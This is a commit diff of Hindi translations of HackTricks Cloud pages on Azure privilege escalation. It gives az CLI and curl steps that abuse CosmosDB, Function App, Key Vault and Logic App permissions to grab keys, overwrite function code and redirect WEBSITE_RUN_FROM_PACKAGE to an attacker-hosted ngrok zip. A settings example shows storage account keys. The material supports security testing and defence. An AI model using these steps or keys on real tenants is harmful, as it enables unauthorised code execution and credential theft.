Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

This commit is contained in:
Translator
2025-02-10 23:54:19 +00:00
parent f51277832e
commit 2bead2e9a6
33 changed files with 644 additions and 936 deletions

View File

@@ -5,15 +5,13 @@
## CosmosDB Privesc
SQL Database के बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="../az-services/az-cosmosDB.md" %}
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-cosmosDB.md
{{#endref}}
### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
इन अनुमतियों के साथ आप एक उपयोगकर्ता को क्वेरी निष्पादित करने और डेटाबेस से कनेक्ट करने के लिए अनुमतियाँ देकर विशेषाधिकार बढ़ा सकते हैं। सबसे पहले एक परिभाषा भूमिका बनाई जाती है जो आवश्यक अनुमतियाँ और दायरे प्रदान करती है।
{% code overflow="wrap" %}
इन अनुमतियों के साथ आप एक उपयोगकर्ता को क्वेरी निष्पादित करने और डेटाबेस से कनेक्ट करने के लिए अनुमतियाँ देकर विशेषाधिकार बढ़ा सकते हैं। सबसे पहले एक परिभाषा भूमिका बनाई जाती है जो आवश्यक अनुमतियाँ और दायरे देती है।
```bash
az cosmosdb sql role definition create \
--account-name <account_name> \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
{% endcode %}
इसके बाद परिभाषा का असाइनमेंट एक उपयोगकर्ता को दिया जाता है। इसके बाद वह उपयोगकर्ता DefaultAzureCredential() कनेक्शन विधि का उपयोग करके क्वेरी निष्पादित कर सकता है।
{% code overflow="wrap" %}
```bash
az cosmosdb sql role assignment create \
--account-name <account_name> \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
इस अनुमति के साथ, आप Azure Cosmos DB खाते के प्राथमिक और द्वितीयक कुंजी प्राप्त कर सकते हैं। ये कुंजी डेटाबेस खाते और इसके संसाधनों तक पूर्ण पहुंच प्रदान करती हैं, जिससे डेटा पढ़ने, लिखने और कॉन्फ़िगरेशन परिवर्तनों जैसी क्रियाएँ सक्षम होती हैं।
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
इस अनुमति के साथ, आप Azure Cosmos DB खाते के लिए प्राथमिक और द्वितीयक कुंजी प्राप्त कर सकते हैं। ये कुंजी डेटाबेस खाते और इसके संसाधनों तक पूर्ण पहुंच प्रदान करती हैं, जिससे डेटा पढ़ने, लिखने और कॉन्फ़िगरेशन परिवर्तनों जैसी क्रियाएँ सक्षम होती हैं।
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,15 +12,15 @@
### Bucket Read/Write
यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो **विभिन्न कंटेनरों** (कस्टम या पूर्व-निर्धारित नामों के साथ) को ढूंढना संभव है जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं।
यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो आप **विभिन्न कंटेनरों** (कस्टम या पूर्व-परिभाषित नामों के साथ) को खोज सकते है जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं।
एक बार जब आप यह पता लगा लेते हैं कि फ़ंक्शन का कोड कहाँ स्थित है, यदि आपके पास उस पर लिखने की अनुमति है, तो आप फ़ंक्शन को कोई भी कोड निष्पादित करने के लिए बना सकते हैं और फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ा सकते हैं।
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE)`
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE`)
फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर स्टोर किया जाता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और **फ़ंक्शन को मनमाना कोड लोड करने** के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाना संभव हो जाता है।
यह तैनाती विधि आमतौर पर सेटिंग्स **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** और **`WEBSITE_CONTENTSHARE`** को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं&#x20;
यह तैनाती विधि आमतौर पर सेटिंग्स **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** और **`WEBSITE_CONTENTSHARE`** को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं
```bash
az functionapp config appsettings list \
--name <app-name> \
@@ -31,7 +31,7 @@ az functionapp config appsettings list \
> [!CAUTION]
> फ़ाइल शेयर से कनेक्ट करने और **स्क्रिप्ट को संशोधित करने** के लिए पर्याप्त अनुमति के साथ, फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करने के लिए है, लेकिन फ़ाइल शेयर के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है:
निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करता है, लेकिन फ़ाइल शेयरों के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है:
{{#ref}}
../az-services/az-file-shares.md
@@ -55,10 +55,10 @@ az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
यह कॉन्फ़िगरेशन आमतौर पर **SAS URL को डाउनलोड करने** के लिए स्टोरेज अकाउंट से कोड में शामिल करेगा।
यह कॉन्फ़िगरेशन आमतौर पर **SAS URL को डाउनलोड करने के लिए** स्टोरेज अकाउंट से कोड प्राप्त करने के लिए शामिल होगा।
> [!CAUTION]
> यदि ब्‍लॉब कंटेनर से कनेक्‍ट करने के लिए पर्याप्‍त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्‍शन में मनमाने कोड को निष्‍पादित करना और विशेषाधिकार बढ़ाना संभव है।
> यदि ब्‍लॉब कंटेनर से कनेक्‍ट करने के लिए पर्याप्‍त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्‍शन में मनमाने कोड को निष्‍पादित करना और विशेषाधिकारों को बढ़ाना संभव है।
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
@@ -101,7 +101,7 @@ unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
> [!CAUTION]
> यदि ज़िप एक्सटेंशन फ़ाइल में **कोड** को रखने वाले ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है (जो वास्तव में एक **`squashfs`** है) तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
> यदि **ज़िप एक्सटेंशन फ़ाइल** (जो वास्तव में एक **`squashfs`** है) में कोड को रखने वाले ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है, तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -116,9 +116,9 @@ az storage blob upload \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
```
### Microsoft.Web/sites/host/listkeys/action
### `Microsoft.Web/sites/host/listkeys/action`
यह अनुमति निर्दिष्ट फ़ंक्शन के फ़ंक्शन, मास्टर और सिस्टम कुंजियों को सूचीबद्ध करने की अनुमति देती है, लेकिन होस्ट कुंजी नहीं, के साथ:
यह अनुमति निर्दिष्ट कार्य के कार्य, मास्टर और सिस्टम कुंज को सूचीबद्ध करने की अनुमति देती है, लेकिन मेज़बान कुंजी नहीं
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
@@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
### Microsoft.Web/sites/functions/listKeys/action
### `Microsoft.Web/sites/functions/listKeys/action`
यह अनुमति निर्दिष्ट फ़ंक्शन की होस्ट कुंजी प्राप्त करने की अनुमति देती है:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
### Microsoft.Web/sites/host/functionKeys/write
### `Microsoft.Web/sites/host/functionKeys/write`
यह अनुमति निर्दिष्ट फ़ंक्शन की फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/host/masterKey/write
### `Microsoft.Web/sites/host/masterKey/write`
यह अनुमति निर्दिष्ट फ़ंक्शन के लिए मास्टर कुंजी बनाने/अपडेट करने की अनुमति देती है:
```bash
@@ -164,15 +164,15 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
> [!CAUTION]
> याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं और इसे पहले बताए गए अनुसार संशोधित कर सकते हैं!
### Microsoft.Web/sites/host/systemKeys/write
### `Microsoft.Web/sites/host/systemKeys/write`
यह अनुमति निर्दिष्ट कार्य के लिए एक सिस्टम फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है:
यह अनुमति निर्दिष्ट फ़ंक्शन के लिए एक सिस्टम फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/config/list/action
### `Microsoft.Web/sites/config/list/action`
यह अनुमति एक फ़ंक्शन की सेटिंग्स प्राप्त करने की अनुमति देती है। इन कॉन्फ़िगरेशन के अंदर, यह संभव है कि **`AzureWebJobsStorage`** या **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** के डिफ़ॉल्ट मान मिलें, जिसमें **ब्लॉब स्टोरेज तक पहुँचने के लिए एक खाता कुंजी होती है जिसमें पूर्ण अनुमतियाँ होती है**
यह अनुमति एक फ़ंक्शन की सेटिंग्स प्राप्त करने की अनुमति देती है। इन कॉन्फ़िगरेशन के अंदर, यह संभव है कि **`AzureWebJobsStorage`** या **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** के डिफ़ॉल्ट मान मिलें, जिसमें **ब्लॉब स्टोरेज तक FULL अनुमतियों के साथ पहुँच के लिए एक खाता कुंजी** होती है।
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
@@ -181,11 +181,11 @@ az functionapp config appsettings list --name <func-name> --resource-group <res-
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा था, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है।&#x20;
ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा है, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है।
इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें एक वेब एप्लिकेशन के अंदर निष्पादित होने वाला नया कोड हो:
इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें वेब एप्लिकेशन के अंदर निष्पादित होने वाला नया कोड हो:
- वर्तमान कॉन्फ़िगरेशन प्राप्त करने से शुरू करें
```bash
@@ -203,9 +203,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** वाली URL की ओर इशारा करता है।
- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** के URL की ओर इशारा करता है।
निम्नलिखित मेरे **अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यहाँ मैंने ऐप को होस्ट किया था।
निम्नलिखित मेरे **अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यही वह जगह है जहाँ मैं ऐप को होस्ट कर रहा था।
```bash
# Modify the function
az rest --method PUT \
@@ -213,9 +213,9 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
### Microsoft.Web/sites/hostruntime/vfs/write
### `Microsoft.Web/sites/hostruntime/vfs/write`
इस अनुमति के साथ, **किसी एप्लिकेशन के कोड को वेब कंसोल के माध्यम से संशोधित करना संभव है** (या निम्नलिखित API एंडपॉइंट के माध्यम से):
इस अनुमति के साथ **किसी एप्लिकेशन के कोड को वेब कंसोल के माध्यम से संशोधित करना संभव है** (या निम्नलिखित API एंडपॉइंट के माध्यम से):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -224,7 +224,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
यह अनुमति सभी प्रकाशन प्रोफाइल को सूचीबद्ध करने की अनुमति देती है, जो मूल रूप से **बुनियादी प्रमाणीकरण क्रेडेंशियल** शामिल करती है:
```bash
@@ -279,7 +279,7 @@ _ध्यान दें कि **SCM उपयोगकर्ता नाम
आप `https://<app-name>.scm.azurewebsites.net/BasicAuth` से वेब पृष्ठ तक भी पहुँच सकते हैं।
सेटिंग्स मानों में उस स्टोरेज खाते का **AccountKey** शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित करना संभव होता है।
सेटिंग्स मानों में उस स्टोरेज खाते का **AccountKey** शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित किया जा सकता है।
- **विधि FTP**
@@ -299,38 +299,29 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
```
_ध्यान दें कि **FTP उपयोगकर्ता नाम** आमतौर पर इस प्रारूप में होता है \<app-name>\\$\<app-name>._
### Microsoft.Web/sites/publish/Action
### `Microsoft.Web/sites/hostruntime/vfs/read`
[**दस्तावेज़ों**](https://github.com/projectkudu/kudu/wiki/REST-API#command) के अनुसार, यह अनुमति **SCM सर्वर के अंदर कमांड निष्पादित करने** की अनुमति देती है, जिसे एप्लिकेशन के स्रोत कोड को संशोधित करने के लिए उपयोग किया जा सकता है:
```bash
az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
```
### Microsoft.Web/sites/hostruntime/vfs/read
यह अनुमति **ऐप का स्रोत कोड पढ़ने** की अनुमति देती है VFS के माध्यम से:
यह अनुमति **VFS के माध्यम से ऐप का स्रोत कोड पढ़ने** की अनुमति देती है:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### Microsoft.Web/sites/functions/token/action
### `Microsoft.Web/sites/functions/token/action`
इस अनुमति के साथ, यह संभव है [**व्यवस्थापक टोकन**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) प्राप्त करना, जिसे बाद में **मास्टर कुंजी** प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है:
इस अनुमति के साथ यह संभव है [**व्यवस्थापक टोकन**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) प्राप्त करना, जिसे बाद में **मास्टर कुंजी** प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है
हालांकि, मेरी अंतिम जांचों में कोई टोकन वापस नहीं किया गया, इसलिए यह निष्क्रिय या अब काम नहीं कर रहा हो सकता है, लेकिन यहाँ यह है कि आप इसे कैसे करेंगे:
```bash
# Get admin token
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
--headers '{"Content-Type": "application/json"}' \
--debug
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
```
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
यह अनुमति **फंक्शंस को सक्षम** करने की अनुमति देती है जो कि अक्षम हो सकत हैं (या उन्हें अक्षम कर सकती है)।
यह अनुमति **फंक्शंस को सक्षम** करने की अनुमति देती है जो कि अक्षम हो सकत हैं (या उन्हें अक्षम कर सकती है)।
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -342,17 +333,17 @@ az functionapp config appsettings set \
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
इन अनुमतियों के साथ, यह संभव है कि **एक फ़ंक्शन ऐप द्वारा चलाए जा रहे कंटेनर को संशोधित किया जा** जिसे एक कंटेनर चलाने के लिए कॉन्फ़िगर किया गया है। इससे एक हमलावर को एक दुर्भावनापूर्ण azure फ़ंक्शन कंटेनर ऐप को डॉकर हब (उदाहरण के लिए) पर अपलोड करने और फ़ंक्शन को इसे निष्पादित करने की अनुमति मिलेगी।
इन अनुमतियों के साथ, यह संभव है कि **एक फ़ंक्शन ऐप द्वारा चलाए जा रहे कंटेनर को संशोधित किया जा सके** जिसे एक कंटेनर चलाने के लिए कॉन्फ़िगर किया गया है। इससे एक हमलावर को एक दुर्भावनापूर्ण azure फ़ंक्शन कंटेनर ऐप को डॉकर हब (उदाहरण के लिए) पर अपलोड करने और फ़ंक्शन को इसे निष्पादित करने की अनुमति मिलेगी।
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
इन अनुमतियों के साथ, **एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से संलग्न करना संभव है**। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा।
इन अनुमतियों के साथ, **एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से जोड़ा जा सकता है**। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा।
```bash
az functionapp identity assign \
--name <app-name> \
@@ -361,7 +352,7 @@ az functionapp identity assign \
```
### Remote Debugging
यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को डिबग करने के लिए कनेक्ट किया जाए जैसे कि [**दस्तावेज़ों में समझाया गया है**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर इसे छोड़ने के लिए भूल जाता है ताकि कमजोर कॉन्फ़िगरेशन छोड़े जाएं
यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को डिबग करने के लिए कनेक्ट किया जाए जैसे कि [**दस्तावेज़ों में समझाया गया है**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर कमजोर कॉन्फ़िगरेशन छोड़से बचने के लिए भूल जाता है
यह जांचना संभव है कि क्या किसी फ़ंक्शन में डिबगिंग सक्षम है:
```bash
@@ -373,8 +364,8 @@ az functionapp config set --remote-debugging-enabled=True --name <app-name> --re
```
### Change Github repo
मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github repo को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, **नया कोड लोड नहीं हुआ** (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।\
इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे न रिपॉजिटरी की अनुमति नहीं मिली, इसलिए यह बहुत उपयोगी नहीं लगता
मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github रिपॉजिटरी को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, **नया कोड लोड नहीं हुआ** (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।\
इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे न रिपॉजिटरी की अनुमति नहीं मिली, इसलिए ऐसा लगता है कि यह बहुत उपयोगी नहीं है
```bash
# Remove current
az functionapp deployment source delete \

View File

@@ -10,7 +10,7 @@
../az-services/az-keyvault.md
{{#endref}}
### Microsoft.KeyVault/vaults/write
### `Microsoft.KeyVault/vaults/write`
इस अनुमति के साथ एक हमलावर एक की वॉल्ट की नीति को संशोधित करने में सक्षम होगा (की वॉल्ट को RBAC के बजाय एक्सेस नीतियों का उपयोग करना चाहिए)।
```bash

View File

@@ -5,15 +5,13 @@
## Logic Apps Privesc
SQL Database के बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-logic-apps.md
{{#endref}}
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
इस अनुमति के साथ, आप Azure Logic Apps वर्कफ़्लो बना या अपडेट कर सकते हैं। वर्कफ़्लो स्वचालित प्रक्रियाओं और विभिन्न सिस्टम और सेवाओं के बीच एकीकरण को परिभाषित करते हैं।
{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group <resource_group_name> \
@@ -26,9 +24,7 @@ az logic workflow update \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
{% endcode %}
और इसे बदलने के बाद, आप इसे इस तरह चला सकते हैं:
और इसे बदलने के बाद, आप इसे चला सकते हैं:
```bash
az rest \
--method post \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
इन अनुमतियों के साथ, आप ZIP फ़ाइल तैनाती का उपयोग करके Logic App वर्कफ़्लो तैनात कर सकते हैं। ये अनुमतियाँ ऐप विवरण पढ़ने, प्रकाशन क्रेडेंशियल्स तक पहुँचने, परिवर्तनों को लिखने और ऐप कॉन्फ़िगरेशन की सूची बनाने जैसी क्रियाओं को सक्षम बनाती हैं। प्रारंभ अनुमतियों के साथ, आप इच्छित सामग्री के साथ एक नया Logic App अपडेट और तैनात कर सकते हैं।
{% code overflow="wrap" %}
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,19 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
## MySQL Database Privesc
SQL Database के बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="../az-services/az-mysql.md" %}
[az-mysql.md](../az-services/az-mysql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-mysql.md
{{#endref}}
### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
